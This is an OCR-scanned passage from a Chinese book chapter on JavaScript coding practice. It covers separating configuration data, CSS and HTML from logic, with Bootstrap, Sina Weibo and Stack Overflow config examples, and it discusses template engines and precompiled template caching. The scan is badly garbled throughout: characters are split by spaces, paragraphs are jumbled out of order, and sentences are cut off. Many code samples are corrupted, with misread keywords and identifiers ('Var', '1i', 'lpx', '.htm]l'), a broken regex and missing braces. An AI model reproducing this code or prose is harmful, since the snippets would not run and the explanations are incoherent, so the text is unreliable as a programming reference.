在 这 段 代码 中 ， 业 务 逻 辑 全 部 包含 在 setLightBoxPosition 函 数 中 ， 函 数 中 的 逻辑 和 事件 处 理 没 有 任何 的 关联 ， 也 不 依赖 特定 的 事件 处 理 ， 自 然 提 高 了 代码 的 可 维护 性 和 可 重用 性 。 另 外 ， 业 务 逻 辑 和 事 
件 处 理 的 分 离 ， 也 有 利于 代码 的 自动 化 测试 。 测 试 代码 不 用 模拟 事件 的 触发 ， 可 以 直接 调用 业务 处 理 函 数 来 测试 业务 逻辑 是 否 正 确 。 















































9.4 ”配置 数据 和 代码 逻辑 分 离 


























Javascript 代 码 基本 上 都 是 由 业务 逻辑 和 数据 组 成 的 ， 逻 辑 代码 根据 数据 完成 一 定 的 操作 。 很 多 数据 在 代码 中 是 写 死 的 ， 比 如 一 些 URL、 显 示 在 界面 上 的 提示 信息 、 页 面 元 素 相关 的 样式 值 及 其 他 使 用 到 
的 固定 值 ， 这 部 分 无 逻辑 的 数据 可 统称 为 配置 数据 。 一 种 好 的 编码 实践 是 把 这 部 分 配置 数据 和 业务 逻辑 分 离 ， 这 样 修改 配置 数据 时 就 不 需要 修改 业务 逻辑 代码 了 ， 从 而 提高 了 代码 的 可 维护 性 。 同 时 ， 配 
数据 的 分 离 ， 使 得 业务 逻辑 代码 也 可 以 重用 了 ， 不 同 的 配置 数据 可 以 对 应 相同 的 业务 逻辑 。 



























































那么 ， 要 如 何 把 配置 数据 和 代码 逻辑 分 离 呢 ? 第 一 步 是 把 代码 中 的 配置 数据 部 分 抽取 出 来 。 抽 取 的 原则 是 这 些 数据 在 代码 中 是 写 死 的 ， 并 且 在 后 期 有 可 能 会 变更 。 下 面 的 示例 展示 了 如 何 把 代码 中 的 配 
置 数据 分 离 。 配 置 数据 未 分 离 时 的 代码 如 下 : 














Var sm = startHours*60+startMinutes; 

Var em = (endqHours*60+endMinutes) || (24*60) 
Var top = (sm*60*1000-0*60*60*1000)*42; 
var height = Math.max (40， (em-sm)*42/60)+1; 









































这 段 代码 使 用 到 的 数据 很 多 ， 如 果 不 经 过 数据 的 分 离 ， 代 码 是 很 难 维护 和 阅读 的 ， 因 为 这 些 数据 本 身 并 不 能 表明 实际 的 用 途 。 经 过 业务 分 析 ， 把 可 变 的 配置 数据 分 离 了 出 来 ， 并 使 用 命名 有 意义 的 属性 
保存 了 这 些 数据 。 抽 离 的 数据 如 下 : 






































this.config = { 
first hour:0, 
last hour:24, 
hour size px:42, 
min event height:40 























同时 ， 修 改 业 务 代码 ， 使 用 配置 数据 代 蔡 原来 写 死 的 数据 。 





Var sm = startHours*60+startMinutes; 

Var em = (endHours*60+endMinutes) | | (this.config.last hour*60); 

var top = (sm*60*1000-this.config.first hour*60*60*1000)*this.config.hour size px; 

Var height = Math.max (this.config.min event height, (em-sm) *this.config.hour size px/60) 家 








可 以 看 到 ， 把 经 常 需要 更 改 的 数据 分 离 出 来 后 ， 代 码 看 起 来 清爽 了 很 多 ， 即 使 后 面 碰 到 配置 数据 的 变更 ， 也 不 需要 修改 业务 逻辑 的 代码 了 ， 直 接 修改 对 应 的 配置 数据 项 即 可 。 推 荐 开发 者 使 用 这 种 数据 
配置 模式 。 
































有 部 分 框架 同样 把 配置 数据 和 逻辑 给 剥离 开 了 ， 并 且 把 这 部 分 配置 数据 作为 默认 的 配置 数据 ， 以 方便 框架 使 用 者 通过 自 定义 配置 数据 来 修改 框架 提供 的 默认 数据 。 例 如 ， 在 Bootstrap 框 架 中 ， 所 有 的 控 
件 都 有 一 个 默认 的 属性 DEFAULTS， 用 于 保存 默认 的 配置 数据 。 如 下 代码 展示 了 Bootstrap 框 架 中 Tooltip 控 件 的 配置 数据 。 


















































Tooltip.DEFAULTS = { 
animation: true 
， Placement: 'top' 
selector: false 
， template: '<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>"' 
， trigger: 'hover focus' 
和 
， delay: 0 
， html: false 
container: false 








如 果 开 发 者 想 修 改 Tooltip 控 件 的 一 些 行为 或 外 观 ， 仅 仅 修改 这 个 配置 数据 就 可 以 了 ， 比 如 要 修改 Tooltip 展 示 的 外 观 ， 则 可 以 修改 Tooltip.DEFAULTS.template 的 属性 值 ; 如 果 要 修改 Tooltip 展 示 的 时 
机 ， 则 可 以 修改 Tooltip.DEFAULTS.trigger 的 属性 值 等 。YUI 框 架 等 其 他 流行 的 框架 中 也 有 类 似 的 做 法 。 这 种 将 配置 数据 分 离 的 做 法 极 大 地 提高 了 代码 的 可 维护 性 和 可 扩展 性 ， 开 发 者 可 以 很 方便 地 修改 配置 
数据 而 不 会 导致 逻辑 的 错误 。 





























这 种 将 配置 数据 分 离 的 方式 也 大 量 应 用 于 前 后 端 数据 的 交互 上 ， 很 多 时 候 这 些 配置 数据 会 随 着 用 户 或 者 场景 的 不 同 而 不 同 ， 后 端 逻 辑 会 根据 当前 的 用 户 或 场景 返回 不 同 的 配置 数据 。 在 选择 配置 数据 和 
业务 逻辑 分 离 的 方式 后 ， 就 不 需要 生成 内 嵌 了 数据 的 JavaScript 代 码 了 ， 后 端 可 只 关心 配置 数据 的 构建 。 图 9-3 中 的 代码 片段 展示 了 新 浪 微 博 网 站 在 后 端 生成 的 配置 数据 ， 该 数据 供 前 端 逻 辑 使 用 。 























ar $CONFIG = 

SCONFIGTI’ Po a 人 

十 CONFIG[ setCover] = 1;//ie6hack 

$CONFIG['oid’] = *1748878254°; 

$CONFIGI[ onick"]】 = “党建; 

CONFIG[ ailiowConnect’] = 'fTalse’ 

SCONFI1IG[E ui0°] = 11774280778254°"，; 

$C0ONFIGIE nick"] = “党 建 *。; 

$CONFIGI[ domain’] = dangijian”; 

CONFIG[’ watermark'] = "dGangjian’ 

$CONFIG[’'sex] = m"’; 

$CONFIGI['ogender*] "Mm*> 

CONFIG [aroupfeed:] = 8°*; 

CONFIGI[ version} 一， 忆 TDIaececd4TiDSeb7a 
CODONFIGTI css_version’'] = “DO9bgoa5819310931dG9ec : ; 
$CONFIGIT biccpipe+] = 七 rue 1; 

CONFIG[ :七 imeDIiTT  ] = (new Date(} 一 13877818398088); 
$CONFIGI[ Product ] = v4mbliog”"; 

$CONFIGL pageid’y = ‘content home”™; 
CONFIGI['skin’] = ‘skin®48°*; 

SCONFIGT’ backgroung"] 5 

$CONFIG[ scheme] = “1 ; 

$CONFIGI['colors —type” $= “Os 

CONFIGI[ Tang'] = ‘zh—cn'; 

CONFIGE jsPath*] = ‘http://ijs.t.sinajs.cn/tS/*; 
CONFIG[’'cssPath*}] = ‘http://img.t.sinajs. cn/tS/" 
本 CONFIG[: imaPath+*] = ‘http://img.t.sinajs. cn/tS/’ 
CONFIGI[ servertime'] = 13877810839:; 
CONFIGE[ ny ] = "wvr=5"; 

$CONFIGI[ S$Swebim’] = 工 ; 

CDNFIGL Location"™] ‘home”"; 

$CONFIGTI miyou’] 

CONFIG[ brand’] 

CDONFIG[I recfeed+] = '6°*; 

FCONFIG{E shorturt offiine*y -三 *29,.37,40*3: 

可 CONFIG [PiG  ] = *180881°"; 


$CONFIGI bpTYPEeE :3 = ‘main; 

$CONFIG[ mJsPath] = fhttp://ijsin}.t.sinaijs. cn/tS5/, 1, 

本 CDNEFIG mCssPath"] = [http://7/img{n}.t.sinajs. cn/tS/', 
CONFIGI* Group:] = ”ni; 
$CONFIGI[ miyou_ count" ] ed - 
$CONFIGL” request _ ua"] "zt tMmacintoshs Inte Mac OS XK 10€ 
$CONFIG[ enterprise’']=:" 





图 9-3 新浪 微 博 网 站 后 端 生 成 的 配置 数据 


stackoverflow[1] 网 站 也 使 用 了 类 似 的 方式 ， 它 把 JSON 格 式 的 配置 数据 作为 一 个 参数 传 给 了 一 个 名 为 StackExchange.init 的 函数 ， 通 过 这 个 函数 的 处 理 ， 可 把 数据 保持 在 客户 端 。 其 代码 片段 如 图 9-4 所 





<script type="text/javascript"> 
StackExchange, init{{"locale":"en","stackAuthUrl":"https://stackauth, com", "serverTime":1387790253,"styleCode":true, 
stackExchange, using. setCacheBreakers({"js/prettify-full.en.js":"e0bbd4760e83", "js/moderator, en., js":"f24049d774be", 
StackExchange.using("gps", function() { 


StackExchange.gps, init(true); 
}); 





</script> 








9-4 ”stackoverflow 网 站 页 面 中 配置 数据 的 初始 化 








在 JavaScript 代 码 中 ， 分 离 的 配置 数据 一 般 以 JSON 格 式 保存 ，JSON 格 式 是 JavaScript 原 生 支 持 的 格式 ， 更 简单 一 些 。 如 果 配 置 数 据 过 多 或 者 期 望 客户 端 缓 存 配置 数据 ， 则 推荐 把 配置 数据 放置 在 单独 的 
Javascript 文 件 中 ， 从 而 把 代码 逻辑 和 配置 数据 彻底 分 离 ， 让 配置 数据 的 修改 变 得 更 方便 ， 同 时 客户 端 也 可 以 缓存 配置 数据 文件 。 


[1] http://stackoverfl ow.com 


9.5 ”逻辑 与 结构 样式 分 离 


Javascript 中 的 一 个 强大 能 力 是 不 仅 可 以 访问 页 面 的 HTML 元 素 ， 还 可 以 修改 或 删除 相关 元 素 ， 在 JavaScript 中 ， 这 部 分 统称 为 HTML 文 档 对 象 模型 (HTML DOM) 。 但 很 多 开发 者 会 滥用 这 一 能 力 ， 
比如 ,很 多 本 该 是 HTML 或 者 是 在 CSS 代 码 中 应 该 完成 的 功能 ， 放 到 了 JavaScript 代 码 中 完成 ， 这 就 导致 大 量 的 HTML 或 者 CSS 代 码 混合 在 了 JavaScript 代 码 中 ， 降 低 了 代码 的 可 维护 性 。 网 页 开发 者 如 果 发 现 
页 面 存 在 HTML 结 构 问 题 ， 则 会 在 页 面 的 HTML 代 码 中 查找 问题 ， 如 果 发 现 是 样式 方面 的 问题 ， 则 会 在 对 应 的 样式 文件 中 查找 。 假 设 页 面 的 某 些 结构 或 者 某 些 样式 是 通过 JavaScript 代 码 加 入 的 ， 无 形 中 就 增 





加 了 开发 者 查找 问题 的 难度 。 如 果 要 进行 代码 维护 ， 而 页 面 结构 或 者 样式 是 通过 JavaScript 添 加 的 ， 那 么 在 改变 结构 或 样式 时 ， 就 不 仅仅 是 修改 HTML 代 码 或 者 CSS 代 码 了 ， 还 需要 修改 JavaScript 代 码 ， 维 








护 这 样 的 代码 简直 是 露 梦 。 因 此 ， 在 编写 JavaScript 代 码 时 ， 让 JavaScript 代 码 只 关注 逻辑 行为 ， 尽 量 不 要 越权 做 本 HTML 代 码 和 CSS 代 码 完 








9.5.1 从 Javascript 代 码 逻 辑 中 分 离 CSS 样 式 
在 JavaScript 代 码 中 ， 可 以 通过 设置 元 素 的 style 对 象 ， 来 修改 元 素 的 样式 ， 如 下 示例 通过 JavaScript 给 元 素 设置 了 大 量 的 样式 。 


Var el = document .getElementById('main container'); 
Var list = el.getElementsByTagName ('1i'); 
for (var i=0, j=list.length ;i<j;i++){ 


if(list[i] .innerHTML === "" 
list[i].style.borderColor = '#f00'; 
1ist[i] .style.borderStyle = 'solid'; 
list[il].style.borderWidth = 'lpx'; 


成 的 工作 ， 即 要 让 逻辑 与 结构 样式 分 离 。 








也 可 以 通过 设置 style 上 的 cssText 属 性 ， 来 设置 元 素 的 样式 ， 比 如 上 述 代 码 可 以 改写 为 : 


Var el = document .getElementById('main container'); 
Var list = el.getElementsByTagName ('1i'); 
for (var i=0, j=list.length ;i<j;i++){ 
if(list[i] .innerHTML === ''){ 
list[il].style.cssText += 'border: lpx solid #f£f00;'; 
} 
} 





但 通过 这 两 种 方式 修改 元 素 的 样式 ， 都 降低 了 代码 的 可 维护 性 。 假 设 元 素 的 样式 是 通过 这 两 种 方式 中 的 一 种 设置 的 ， 如 果 后 期 需要 修改 样式 ， 那 么 就 不 仅 是 要 修改 JavaScript 代 码 了 ， 也 就 是 说 ， 开 发 
者 既 要 维护 CSS 代 码 ， 还 需要 维护 JavaScript 代 码 ， 这 让 页 面 样式 维护 变 得 很 困难 。 最 佳 的 做 法 是 ， 在 JavaScript 代 码 中 ， 仅 仅 是 设置 元 素 的 Class。 如 上 的 代码 可 修改 为 : 





























Var el = document .getElementById('main _ Container') 7 
var list = el.getElementsByTagName ('1i"); 
for (var i=0, j=list.length ;i<j;i++){ 
if(list[i] .innerHTML === ''){ 
list[i].className += 'empty'; 
// HTML5: list[i].classList.add('empty'); 
于 











然后 在 页 面 引 








的 CSs 文 件 中 添加 一 条 CSS 规 则 : 








-empty { 
border: lpx solid #f£00; 
E 





如 果 遇 到 元 素 样式 的 修改 ， 则 只 修改 元 素 上 Class 对 应 的 CSS 代 码 。 









































当然 ， 在 某 些 特定 的 场合 ， 使 用 JavaScript 设 置 元 素 样式 更 方便 ， 代 码 更 简洁 。 例 如 ， 当 拖 动 元 素 时 ,动态 设置 元 素 的 位 置 、 动 态 显 示 或 隐藏 元 素 等 。 但 即使 是 在 这 些 场合 下 ，JavaScript 中 也 仅仅 是 修 





改 很 少量 的 元 素 样式 ， 并 不 会 对 样式 代码 的 可 维护 性 带 来 多 大 的 影响 。 


9.5.2 ”从 JavaScript 代 码 逻 辑 中 分 离 HTML 结 构 





同上 一 节 讨 论 的 类 似 ， 应 该 避免 在 JavaScript 代 码 中 生成 大 量 的 HTML 元 素 及 内 容 ， 提 高 页 面 HTML 代 码 结构 的 可 维护 性 。 在 JavaScript 中 ， 可 以 通过 多 种 方式 生成 元 素 ， 最 常见 的 是 通过 元 素 的 




















innerHTML 属 性 设置 元 素 内 部 子 元 素 ， 示 例 代 码 如 下 : 





Var d2=document .createElement ("DIV"); 
d2.innerHTMI="<textarea class='editor'>location</textarea>"; 
d.appendchild(d2); 








这 是 一 个 简单 的 例子 ， 再 来 看 一 个 稍微 复杂 点 的 例子 ， 它 将 根据 数据 动态 拼接 HTML 结 构 ， 如 下 : 











Var html = '<div event id="' + obj.id + '">'; 

html += '<div class="title"><div class="title icon"></div>' + obj.title + '</div>'; 

html += '<div class="body">' + obj.content + T</div>'; 

html += '<div class="footer"><div class="footer icon"></div>' + obj.footer +'</div></div>'; 
d.innerHTML = html; 














在 这 个 例子 中 ,根据 5 个 已 有 数据 拼接 了 一 个 复杂 的 结构 ， 这 段 代码 是 不 是 看 起 来 很 乱 ? 一 个 稍 有 改进 的 方案 是 使 用 简单 的 JavaScript 模 











Var template = '<div event id="%id%">'; 
template += '<div class="title"><div class=" icon"></div>%title%</div>'; 
template += '<div class=" body">%content%</div>'; 
template += '<div class=" footer"><div class=" footer icon"></div>%footer®%</div></div>'; 
var html = template.replace (/%Nw+g/g， function (matchsj{ 
return obj [matchs.replace(/%/g, "")] 


]) 7 
d.innerHTML = html; 








板 ， 即 将 其 改写 为 : 























该 模板 代码 只 包含 了 数据 的 占 位 符 和 基础 的 HTML 结 构 ， 并 没 用 实际 数据 ， 做 到 了 HTML 结 构 和 数据 的 分 离 ， 提 高 了 代码 的 可 维护 性 和 可 重用 性 。 但 这 种 方案 也 没有 把 HTML 代 码 从 JavaScript 代 码 中 分 











离开 来 。 




















这 种 在 Javascript 中 内 由 HTML 代 码 的 方式 ， 有 很 大 的 缺点 。 首 先 ， 开 发 者 很 容易 写 出 结构 不 完整 的 HTML 代 码 ， 因 为 内 嵌 的 HTML 代 码 没 有 层次 缩 进 ，HTML 格 式 检查 工具 也 会 失去 作用 ; 其 次 ， 和 上 



































面 分 析 在 JavaScript 代 码 中 内 嵌 CSS 代 码 一 样 ， 这 种 内 谋 HTML 代 码 的 方式 同样 也 会 带 来 维护 的 困难 ， 开 发 者 需要 很 仔细 检查 ， 保 证 标签 都 能 正确 闭合 ， 包 含 属性 值 的 双 引号 都 能 成 对 才 行 。 此 外 ， 这 种 方式 








也 不 利于 排 错 ， 如 果 HTML 结 构 出 了 问题 ， 开 发 者 第 一 反应 肯定 是 去 查看 ASP.NET 页 面 、PHP 页 面 、JSP 页 面 等 包含 HTML 结 构 的 文件 ， 其 次 
因此 ， 把 大 量 的 HTML 代 码 内 嵌 到 Javascript 中 ， 是 很 不 好 的 做 法 。 














目前 流行 的 网 页 设计 ， 很 多 都 是 在 网 页 端 动态 改变 页 面 的 外 观 ， 添 加 、 删 除 或 者 更 改元 素 ， 而 这 些 改变 都 是 通过 javasScript 代 码 完成 的 ， 





才 去 查看 JavaScript 文 件 ， 无 形 中 又 增加 了 开发 者 维护 的 成 本 。 











在 JavaScript 代 码 中 大 量 操 作 页 面 元 素 是 不 可 避免 的 ， 但 开发 者 


可 以 选择 更 好 的 方案 ， 而 不 是 把 大 量 HTML 代 码 内 嵌 到 Javascript 代 码 中 。 当 Javascript 代 码 中 包含 了 大 量 的 HTML 代 码 时 ， 开 发 者 就 应 该 意识 到 这 是 一 种 不 好 的 方案 ， 应 该 寻求 更 好 的 解决 办 法 。 以 下 是 一 


些 让 HTML 代 码 和 JavaScript 代 码 分 离 的 解决 方案 。 


(1) 从 服务 器 端 动态 获取 HTML 代 码 











将 页 面 加 载 初始 不 需要 加 载 的 HTML 代 码 从 页 面 中 分 离 ， 放 置 在 单独 的 文件 中 。 当 需要 显示 这 些 内 容 时 ， 再 通过 AJAX 动 态 从 服务 器 端 获取 ， 然 后 显示 在 页 面 上 。 或 者 是 把 JavaScript 模 板 放置 于 单独 的 
文件 中 ， 需 要 时 才 从 服务 器 端 加 载 。 下 面 是 从 服务 器 端 取得 HTML 代 码 的 示例 : 
































Var xhr = new XMLHttpRequest (); 


xhr.open('GET', "content/templates/store.html", true); 
xhr.onreadystatechange = function() { 
if (xhr.readyState === 4 && xhr.status === 200) { 


document .getElementById('store container') .innerHTML = xhr.responseText; 
} 
i 
xhr.send (null); 

















如 果 页 面 中 引用 了 jQuery 框架 ， 则 使 用 Query 中 提供 的 方式 更 简单 。 





























$('#store container') .load ("content/templates/store.html"); 








使 用 AJAX 技 术 动态 获取 HTML 代 码 的 另外 一 个 优点 是 减少 了 页 面 初始 的 HTML 代 码 量 ， 加 快 了 页 面 的 传输 时 间 ， 减 少 了 页 面 的 解析 时 间 。 














(2) 通过 客户 端 动态 生成 页 面 结构 





在 客户 端 ， 为 了 不 把 动态 加 载 的 HTML 代 码 或 模板 内 嵌 在 JavaScript 代 码 中 ， 可 以 把 这 部 分 代码 或 模板 放置 在 页 面 的 HTML 结 构 中 。 如 果 纯 粹 是 HTML 代 码 ， 则 隐藏 在 页 面 中 即 可 ， 通 过 JavaScript 代 码 
直接 设置 display 样 式 就 可 以 显示 此 区 域 了 。 模 板 文件 内 诅 在 页 面 的 HTML 代 码 中 的 方式 有 多 种 ， 比 如 放 在 注释 、<textarea> 标 签 中 ， 但 最 佳 的 方式 是 包含 在 <script> 标 签 中 。 前 两 种 方式 属于 技巧 ， 而 放置 
在 <script> 标 签 中 则 是 符合 规范 的 做 法 。<script> 标 签 如 果 没 有 指定 type 属 性 ， 则 默认 值 为 “text/javascript”， 即 包含 的 内 容 为 JavaScript 代 码 ， 但 如 果 指定 的 属性 值 为 其 他 值 ， 则 浏览 器 不 会 把 内 容 解析 
为 JavaScript 代 码 。 开 发 者 可 利用 这 一 特点 ， 把 JavaScript 模 板 代码 放置 在 <script> 标 签 中 ， 更 重要 的 是 ，<script> 标 签 中 的 代码 会 保留 代码 的 缩 进 格式 。 如 下 是 一 个 典型 的 示例 : 







































































<script id="main info" type="text/x-tmpl"> 
<1li><b>$ {name}</b> (${class})</1li> 
</script> 


当 需 要 取得 模板 代码 时 ， 通 过 innerHTML 属 性 即 可 得 到 : 





Var infoTemplate = document .getElementById("main_ info') .innerHTML7 








随 着 JavaScript 模 板 使 用 得 越 来 越 多 ，Web 规 范 的 制定 者 也 意识 到 应 该 添加 一 个 单独 的 标签 来 包含 这 种 模板 代码 ， 于 是 在 HTML5 规 范 中 新 加 入 了 一 个 <template> 标 签 。 开 发 者 可 以 把 Javascript 模 板 


代码 内 认 在 此 标签 中 ， 使 得 代码 更 符合 语义 。 目 前 只 有 Chrome、Firefox 和 Opera 浏 览 器 的 高 版 本 中 才 支 持 此 标签 ，IE 和 Safari 浏 览 器 还 未 支持 !]。 当 然 ， 可 以 通过 简单 的 手段 ， 让 所 有 的 浏览 器 都 支持 
HTML5 新 标签 ， 但 这 也 增加 了 编码 的 复杂 度 。 因 此 ， 在 使 用 <template> 标 签 时 ， 需 要 仔细 考虑 维护 的 成 本 ， 以 及 是 否 和 使 用 的 模板 引擎 兼容 。 

































































[1] http://caniuse.com/template 


9.6 ”JavaScript 模 板 的 使 用 











上 文 提 到 了 JavaScript 模 板 ， 以 及 模板 文件 在 页 面 HTML 代 码 中 的 内 嵌 方 式 ， 这 里 将 重点 讨论 模板 引擎 的 使 用 相关 最 佳 实践 。 




























































































简单 的 页 面 中 基本 上 是 不 需要 使 用 JavaScript 模 板 的 ， 但 如 果 页 面 复杂 ， 需 要 和 大 量 的 数据 交互 ， 使 用 JavaScript 模 板 将 是 比较 好 的 选择 。 目 前 一 种 流行 的 网 站 设计 方式 是 ， 页 面 中 动态 的 HTML 结 构 不 
再 由 后 端 生成 ， 后 端 仅仅 是 提供 一 套 REST AP1， 返 回 JSON 数 据 。 所 有 的 HTML 都 是 在 前 端 根据 这 些 数 据 生 成 的 。 模 板 引擎 的 使 用 让 这 个 过 程 变 得 非常 简单 。 模 板 引擎 的 使 用 原理 很 简单 ， 每 个 模板 引擎 都 对 
应 着 一 套 Javascript 模 板 格 式 ， 模 板 引擎 作为 模板 和 数据 的 桥梁 ， 它 通过 编译 把 两 者 组 织 在 了 一 起 ， 生 成 了 最 终 的 HTML 代 码 。 




















































































































9.5.2 节 的 示例 中 ， 使 用 了 一 个 简单 的 字符 替换 逻辑 ， 把 数据 和 模板 编译 成 为 了 最 终 展示 的 HTML 人 代码， 这 一 逻辑 就 是 一 个 简单 的 模板 引擎 。 但 在 实际 的 使 用 场景 并 不 会 只 是 简单 的 字符 蔡 换 ， 也 需要 有 
一 些 判断 的 逻辑 ， 或 者 循环 的 逻辑 ， 因 此 ， 复 杂 的 场景 中 还 是 应 使 用 成 熟 的 模板 引擎 框架 。 









































随 着 JavaScript 模 板 使 用 得 越 来 越 多 ， 出 现 了 各 种 各 样 的 模板 引擎 ， 有 轻 量 的 ， 也 有 比较 复杂 的 。 大 致 上 ， 模 板 引擎 可 以 分 为 两 个 大 类 ， 一 类 是 把 JavaScript 逻 辑 写 到 了 模板 中 ， 方 便 控 制 复 杂 的 逻辑 ; 
另外 一 类 是 无 逻辑 (Logic-less) 的 ， 模 板 代码 和 逻辑 分 离 ， 符 合 Web 的 结构 和 逻辑 分 离 这 一 设计 原则 。 























目前 ， 从 使 用 率 来 看 ， 流 行 的 JavaScript 模 板 主要 有 : 








(1) Mustache 























Mustache[1] 被 认为 是 模板 的 基础 ， 是 一 套 与 语言 无 关 的 模板 系统 规范 ， 很 多 其 他 的 模板 引擎 都 是 基于 此 模板 引擎 构建 的 。Mustache 的 很 大 一 个 特点 是 此 模板 是 无 逻辑 (Logic-less) 的 ， 模 板 中 没有 if 
或 者 for 等 结构 ， 而 是 通过 数据 值 实现 这 些 逻 辑 。 




















Mustache 使 用 “{” 符号 包含 数据 占 位 。 因 为 此 符号 像 一 个 倒立 的 八字 胡 ， 所 以 此 模板 取 名 为 Mustache。Mustache 可 用 在 浏览 器 端 或 者 服务 器 端 (Node.js、CouchDB) 环境 中 ， 同 时 ， 支 持 CMD 
和 AMD 这 两 大 模块 的 加 载 规范 。 



































Mustache 很 容易 和 各 大 前 端 框架 集成 ， 如 jQuery、Dojo、YUI 等 。 对 此 感 兴 趣 的 开发 者 可 以 搜索 相关 的 内 容 以 得 到 更 详细 的 信息 。 











(2) Underscore 中 的 模板 引擎 














Underscore 四 是 一 个 实用 的 JavaScript 库 ， 提 供 了 许多 JavaScript 原 生 没有 的 功能 ， 而 模板 功能 是 它 所 提供 的 其 中 一 个 功能 。 因 为 Underscore 的 模板 功能 还 支持 诸如 循环 或 条 件 判断 等 逻辑 
#each 和 #if) ， 所 以 此 模板 引擎 不 是 Logic-less 的 。 








使 














(3) Handlebars 























HandlebarsB] 是 基于 Mustache 构 建 的 一 个 模板 引擎 ， 其 模板 与 Mustache 的 模板 是 兼容 的 ， 因 此 ，Mustache 的 模板 在 Handlebars 中 是 可 以 直接 使 用 的 ， 但 Handlebars 提 供 了 更 多 的 功能 。 
Handlebars 支 持 循环 和 条 件 判断 逻辑 块 ， 并 且 开发 者 可 以 实现 用 自己 的 辅助 函数 构建 复杂 的 模板 这 一 功能 。Handlebars 支 持 预 编译 ， 提 高 了 性 能 。 






















































































除了 以 上 介绍 的 3 个 模板 引擎 之 外 ， 还 有 Jade 内 、EJSD， 以 及 由 jQuery 作者 John Resig 创 建 的 Micro-Templating [ol 等 流行 的 模板 引擎 。 从 目前 的 使 用 率 上 看 ，Underscore 使 用 较为 广泛 ， 这 得 益 于 其 
强大 的 功能 以 及 良好 的 社区 支持 。 当 然 ， 并 不 是 说 其 他 的 模板 引擎 不 好 ， 开 发 者 需要 结合 自己 实际 的 需求 选择 合适 的 模板 引擎 。 这 里 推荐 一 个 工具 类 网 站 : Template-engine-chooser["]， 这 个 工具 辅助 开 
发 者 根据 实际 的 需求 选择 合适 的 模板 引擎 。Template-engine-chooser 工 具 中 包含 了 使 用 率 较 高 的 模板 引擎 ， 并 且 提 供 了 7 个 问题 让 用 户 回答 ， 然 后 根据 用 户 的 反馈 给 出 适合 的 模板 引擎 选择 。 


























































































































除了 选择 合适 的 模板 引擎 之 外 ,使 





模板 引擎 时 也 有 一 些 好 的 实践 方法 可 供 开 发 者 参考 ， 如 下 是 其 


中 比较 是 





两 条 。 























(1) 尽量 不 要 在 模板 中 滥用 逻辑 块 




















尽管 很 多 模板 引擎 提供 了 使 
循环 或 条 件 判断 等 逻辑 块 可 以 使 


诸如 循环 或 条 件 判断 等 逻辑 块 的 功能 ， 但 这 些 功 能 的 使 
子 模板 的 形式 代替 。 例 如 : 





只 








’ 























会 增加 代码 维护 的 困 





难 程度 。 这 也 违背 了 之 前 





反复 强调 的 前 端 编码 原则 : 逻辑 、 样 式 和 结构 分 离 。 其 3 








<h1>Comments</h1> 
<div id="comments"> 
{{#each comments}} 
<h2><a href="/posts#{{id}}">{{title}}</a></h2> 
<div>{ {body} }</div> 
{{/each}} 
</div> 





上 述 这 个 模板 就 可 以 更 改 为 如 下 的 方案 ， 首 先 把 静态 部 分 移 到 页 面 的 静态 HTML 代 码 中 。 








<h1>Comments</h1> 
<div id="comments"> 
</div> 





然后 把 内 部 的 可 变 部 分 作为 子 模板 分 离 出 来 。 





<h2><a href="/posts#{{id}}">{{title}}</a></h2> 
<div>{ {body} }</div> 








把 循环 逻辑 放置 在 模板 的 外 部 ， 即 Javascript 代 码 中 ， 虽 然 写 的 代码 多 了 一 些 ， 但 结构 变 简 和 








(2) 不 要 构建 太 复杂 的 模板 








开发 者 编写 代码 时 需要 遵循 的 一 个 原则 是 代码 简单 、 清 晰 、 模 块 化 ， 








了， 从 长 远 来 看 这 是 有 好 处 的 ， 这 种 方式 降低 了 








规定 。 这 样 做 的 目的 是 保持 代码 逻辑 清晰 ， 提 高 代码 的 可 维护 性 。 同 样 ， 对 应 于 模板 ， 也 会 

















际 的 使 用 过 程 中 ， 简 单 的 模板 无 法 和 数据 关联 ， 可 以 通过 子 模板 的 形式 组 合 为 符合 需求 的 模板 。 
(3) 使 用 预 编译 模板 


























大 部 分 流行 的 Javascript 模 板 引擎 都 支持 模板 的 预 编 译 。 如 果 使 





上 








杂 的 模板 ， 尽 量 把 复杂 的 模板 细 化 为 更 简 和 


后 期 代码 维护 的 成 本 。 


因此 ， 在 一 般 的 编码 规范 中 ， 对 函数 的 行 数 及 代码 文件 的 行 数 都 有 一 些 限 制 ， 例 如 ， 会 有 一 个 函数 的 代码 量 不 要 超过 50 行 等 类 似 的 
求 不 要 构建 太 


a 的 模板 ， 让 每 个 模板 专注 于 更 小 的 模块 。 如 果 在 实 











面 提 到 的 那个 模板 选择 工具 Template-engine-chooser， 在 选择 模板 时 若 勾 选 了 











模板 引擎 。 模 板 引擎 预 编译 的 原理 是 把 模板 字符 号 
整体 性 能 。 如 下 的 代码 演示 Underscore 中 模板 的 预 编译 情况 。 


编译 为 一 个 函数 ， 然 后 把 编译 好 的 函数 缓存 起 来 ， 这 样 避 免 了 每 次 使 


























时 都 要 编译 一 遍 模板 ， 以 





// 取得 模板 代码 并 预 编 译 

var template = .template($( 
// 在 需要 模板 的 地 方 ， 可 以 直接 使 用 
template (templateData); 


"templLate" ) .html () ) 7 
编译 后 的 template 函 数 


后 每 次 仅仅 使 





的 





预 编译 好 的 函数 即 可 ， 提 高 了 模板 使 














如 下 的 代码 是 一 个 缓存 预 编译 后 的 模板 方案 。 





TemplateCache = { 
get: function(selector){ 
if (!this.templates){ this.templates = {}; } 
Var template = this.templates[selector]; 
if (!template){ 
template = $ (selector) .htm]l (); 
// 预 编译 模板 
template = _.template (template); 
this.templates[selector] = template; 
} 
return template; 
i 








在 上 述 代 码 中 ,使 











除了 在 JavaScript 代 码 中 预先 缓存 预 编译 的 模板 之 外 ， 还 可 以 通过 第 三 方 工具 





























具有 更 好 的 性 能 ， 省 去 了 首次 使 用 模板 时 的 编译 操作 。 
1] https://github.com/janl/mustache.js 

2] http://underscorejs.org 

3] http:/ /handlebarsjs.com 

4] http:/ /jade-lang.com 

5] http://embeddedjs.com 

6] http:/ /ejohn.org/blog/javascript-micro-templating 

7] http:/ /garann.github.io/template-chooser 

8] https:/ /npmijs.org/package/ grunt-contrib-handlebars 








9.7 ”在 JavaScript 开 发 中 应 用 MVC 模 式 


TemplateCache 对 象 中 的 get () 方法 取得 了 模板 。 在 内 部 ， 所 有 的 模板 保存 在 TemplateCache 对 象 的 templates 数 组 中 。 











IF 入 加 





JavaScript 模 板 的 使 





， 使 得 前 端 代码 的 逻辑 更 清晰 。 但 目前 Web 开 发 的 趋势 是 前 端 逻 辑 在 不 断 





